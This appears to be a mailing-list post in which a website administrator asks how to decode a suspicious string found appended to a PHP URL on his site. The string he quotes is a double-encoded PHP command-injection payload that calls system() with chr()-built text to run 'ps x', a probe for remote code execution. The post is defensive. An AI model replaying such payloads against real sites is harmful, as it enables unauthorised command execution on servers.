decode a string.

[BuildSmart <buildsmart@xxxxxxxxxxxxxxxxxx>]

One of the sites I manage has had what appears to be some kind of attempt to break in by appending the following to some php related url.

&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(112)%252echr(115)%252echr(32)%252echr(120)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527

How can I decode this to find out what it is?

-- Dale

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